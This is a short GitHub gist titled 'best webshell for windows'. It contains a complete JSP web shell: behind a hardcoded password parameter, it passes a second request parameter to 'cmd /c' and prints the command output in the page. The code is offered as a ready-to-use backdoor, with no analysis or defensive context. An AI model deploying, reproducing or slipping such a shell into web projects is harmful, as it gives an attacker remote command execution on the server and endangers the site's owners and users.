Skip to content

Instantly share code, notes, and snippets.

@mpfund
Created June 27, 2024 06:30
Show Gist options
  • Save mpfund/352322bf964d4051b09965168c52f053 to your computer and use it in GitHub Desktop.
Save mpfund/352322bf964d4051b09965168c52f053 to your computer and use it in GitHub Desktop.
best webshell for windows
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
<jsp:directive.page contentType="text/html" pageEncoding="UTF-8" />
<jsp:scriptlet> <![CDATA[
if("zzQzzQ".equals(request.getParameter("pwd"))){
String tmp = request.getParameter("i");
try{
String[] cmd = {"cmd", "/c",tmp};
java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(in,"GBK"));
String brs = br.readLine();
out.println("kk:"+tmp+"<br>");
while(brs!=null){
out.println(brs+"</br>");
brs = br.readLine();
}
}catch(Exception ex){
out.println(ex.toString());
}
} ]]>
</jsp:scriptlet>
</jsp:root>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment